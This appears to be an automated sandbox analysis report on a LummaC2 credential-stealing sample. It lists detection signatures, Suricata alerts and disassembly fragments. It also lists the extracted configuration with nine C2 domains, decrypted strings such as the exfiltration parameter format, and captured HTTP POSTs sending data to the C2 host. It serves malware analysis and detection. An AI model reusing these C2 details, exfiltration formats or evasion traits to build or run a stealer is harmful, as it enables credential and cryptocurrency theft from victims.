Edit tour

Windows Analysis Report
X2hna87N3Y.exe

Overview

General Information

Sample name:	X2hna87N3Y.exe renamed because original name is a hash value
Original sample name:	443f4cf9f362a96bbd0845ba6d2859f0.exe
Analysis ID:	1576576
MD5:	443f4cf9f362a96bbd0845ba6d2859f0
SHA1:	1bf75dea31eaf0c26da3428ae2b8518771989522
SHA256:	e11c9223741b2d1291f1031539da3dd183ce2ac4b2de705d92366c6f61d94aa5
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

X2hna87N3Y.exe (PID: 7416 cmdline: "C:\Users\user\Desktop\X2hna87N3Y.exe" MD5: 443F4CF9F362A96BBD0845BA6D2859F0)

conhost.exe (PID: 7424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

X2hna87N3Y.exe (PID: 7536 cmdline: "C:\Users\user\Desktop\X2hna87N3Y.exe" MD5: 443F4CF9F362A96BBD0845BA6D2859F0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["debonairnukk.xyz", "tacitglibbr.biz", "deafeninggeh.biz", "sordid-snaked.cyou", "diffuculttan.xyz", "wrathful-jammy.cyou", "awake-weaves.cyou", "effecterectz.xyz", "immureprech.biz"], "Build id": "yau6Na--7911731954"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: X2hna87N3Y.exe PID: 7536	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: X2hna87N3Y.exe PID: 7536	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: X2hna87N3Y.exe PID: 7536	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T09:44:46.252787+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	104.21.50.161	443	TCP
2024-12-17T09:44:48.513726+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.50.161	443	TCP
2024-12-17T09:44:51.088601+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.50.161	443	TCP
2024-12-17T09:44:53.644621+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.50.161	443	TCP
2024-12-17T09:44:55.870029+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.50.161	443	TCP
2024-12-17T09:44:58.597611+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	104.21.50.161	443	TCP
2024-12-17T09:45:03.023443+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	104.21.50.161	443	TCP
2024-12-17T09:45:06.714844+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T09:44:47.246583+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	104.21.50.161	443	TCP
2024-12-17T09:44:49.565445+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.50.161	443	TCP
2024-12-17T09:45:07.452999+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49743	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T09:44:47.246583+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T09:44:49.565445+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	104.21.50.161	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T09:44:46.252787+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	104.21.50.161	443	TCP
2024-12-17T09:44:48.513726+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.4	49731	104.21.50.161	443	TCP
2024-12-17T09:44:51.088601+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.4	49732	104.21.50.161	443	TCP
2024-12-17T09:44:53.644621+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.4	49733	104.21.50.161	443	TCP
2024-12-17T09:44:55.870029+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.4	49734	104.21.50.161	443	TCP
2024-12-17T09:44:58.597611+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.4	49735	104.21.50.161	443	TCP
2024-12-17T09:45:03.023443+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.4	49740	104.21.50.161	443	TCP
2024-12-17T09:45:06.714844+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.4	49743	104.21.50.161	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T09:44:44.702846+0100	2058230	1	Domain Observed Used for C2 Detected	192.168.2.4	54326	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T09:44:52.295457+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49732	104.21.50.161	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://tacitglibbr.biz/api5pnX	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/$	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/apiGy	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1739887798.0000000002B36000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["debonairnukk.xyz", "tacitglibbr.biz", "deafeninggeh.biz", "sordid-snaked.cyou", "diffuculttan.xyz", "wrathful-jammy.cyou", "awake-weaves.cyou", "effecterectz.xyz", "immureprech.biz"], "Build id": "yau6Na--7911731954"}

Multi AV Scanner detection for submitted file

Source: X2hna87N3Y.exe	Virustotal: Detection: 52%			Perma Link
Source: X2hna87N3Y.exe	ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.8% probability

Machine Learning detection for sample

Source: X2hna87N3Y.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sordid-snaked.cyou
Source: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: awake-weaves.cyou
Source: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: wrathful-jammy.cyou
Source: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: debonairnukk.xyz
Source: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: diffuculttan.xyz
Source: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: effecterectz.xyz
Source: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: deafeninggeh.biz
Source: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: immureprech.biz
Source: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: tacitglibbr.biz
Source: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: yau6Na--7911731954

Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00418A48 CryptUnprotectData,		2_2_00418A48
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00DB52D0 CryptContextAddRef,GetLastError,		2_2_00DB52D0

Source: X2hna87N3Y.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.4:49743 version: TLS 1.2

Source: X2hna87N3Y.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

Code function: 0_2_00D9D358 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_00D9D358

Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], CAA82E26h	2_2_0043C070
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx edi, byte ptr [esp+esi]	2_2_00435880
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+000000E0h]	2_2_0040C97B
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov byte ptr [eax], bl	2_2_0040C97B
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov byte ptr [eax], dl	2_2_0040C97B
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ebp-6DCE19CBh]	2_2_0040C593
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ebp-6DCE19CBh]	2_2_0040C593
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 67F3D776h	2_2_004256E0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then jmp ebp	2_2_0043B800
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then inc edi	2_2_0042C024
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_004330F0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov ebx, eax	2_2_00405930
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov ebp, eax	2_2_00405930
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+30h]	2_2_0041A9F0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0042C189
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+3FE92E27h]	2_2_004091B0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [ebx+eax-030ABCF4h]	2_2_00425A42
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+45DEA01Ch]	2_2_00423249
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov word ptr [esi], cx	2_2_00423249
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], B430E561h	2_2_00423249
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov esi, dword ptr [esp+38h]	2_2_00423249
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	2_2_00427250
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov byte ptr [ecx], al	2_2_0042B258
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov edi, edx	2_2_0042B258
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx]	2_2_00438A00
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov ecx, ebx	2_2_00438A00
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	2_2_00419210
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+3Ch]	2_2_0040C22A
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+45DEA01Ch]	2_2_004232C0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov word ptr [esi], cx	2_2_004232C0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], B430E561h	2_2_004232C0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00426288
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then jmp ebp	2_2_0043BA90
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov ecx, eax	2_2_00421AAD
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], A8F779E4h	2_2_00421AAD
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0040BAB0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_004262B1
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx eax, byte ptr [ebx]	2_2_00436B74
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx ecx, word ptr [esi+eax+02h]	2_2_00436B74
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov byte ptr [ecx], al	2_2_0042B3C0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov edi, edx	2_2_0042B3C0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then jmp ecx	2_2_00439B80
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+14h]	2_2_00421390
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx-000000B6h]	2_2_00421390
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then test eax, eax	2_2_004363A0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov dword ptr [esi+08h], edx	2_2_0042C3A4
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	2_2_0041B3B2
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0040BC3E
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then jmp ebp	2_2_0043B4D0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	2_2_00428480
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+10h]	2_2_0041AC8E
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx esi, byte ptr [edi]	2_2_00416C91
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	2_2_00407490
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+edi*4+00h]	2_2_00407490
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov byte ptr [esi], al	2_2_00416494
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	2_2_004294A0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then cmp byte ptr [edx+ecx+01h], 00000000h	2_2_00428D60
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+57C69F03h]	2_2_0041D520
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx]	2_2_0041D520
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0042AD2D
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], B430E561h	2_2_004275C0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_004275C0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then jmp ebp	2_2_0043B5C0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov edi, eax	2_2_004095B0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-06C6522Eh]	2_2_00418E01
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov word ptr [edi], cx	2_2_0041BE3C
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then jmp ebp	2_2_0043B6E0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_00428EF0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then jmp dword ptr [00442888h]	2_2_0041C6A4
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax-31h]	2_2_0040A740
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov edx, ecx	2_2_00427F40
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then jmp ebp	2_2_0043B770
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edi]	2_2_00408F00
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], B430E561h	2_2_00427726
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-06C6522Eh]	2_2_00418F36
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then mov byte ptr [esi], al	2_2_0041A7EF
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], B430E561h	2_2_00424F90

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058230 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz) : 192.168.2.4:54326 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.4:49732 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.4:49734 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.4:49735 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.4:49740 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.4:49730 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.4:49731 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.4:49743 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.4:49733 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49743 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49732 -> 104.21.50.161:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: debonairnukk.xyz
Source: Malware configuration extractor	URLs: tacitglibbr.biz
Source: Malware configuration extractor	URLs: deafeninggeh.biz
Source: Malware configuration extractor	URLs: sordid-snaked.cyou
Source: Malware configuration extractor	URLs: diffuculttan.xyz
Source: Malware configuration extractor	URLs: wrathful-jammy.cyou
Source: Malware configuration extractor	URLs: awake-weaves.cyou
Source: Malware configuration extractor	URLs: effecterectz.xyz
Source: Malware configuration extractor	URLs: immureprech.biz

Source: Joe Sandbox View

IP Address: 104.21.50.161 104.21.50.161

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.50.161:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=47HA2BJC5LRQZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18138Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WKKY9HQD72NIN8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8765Host: tacitglibbr.biz
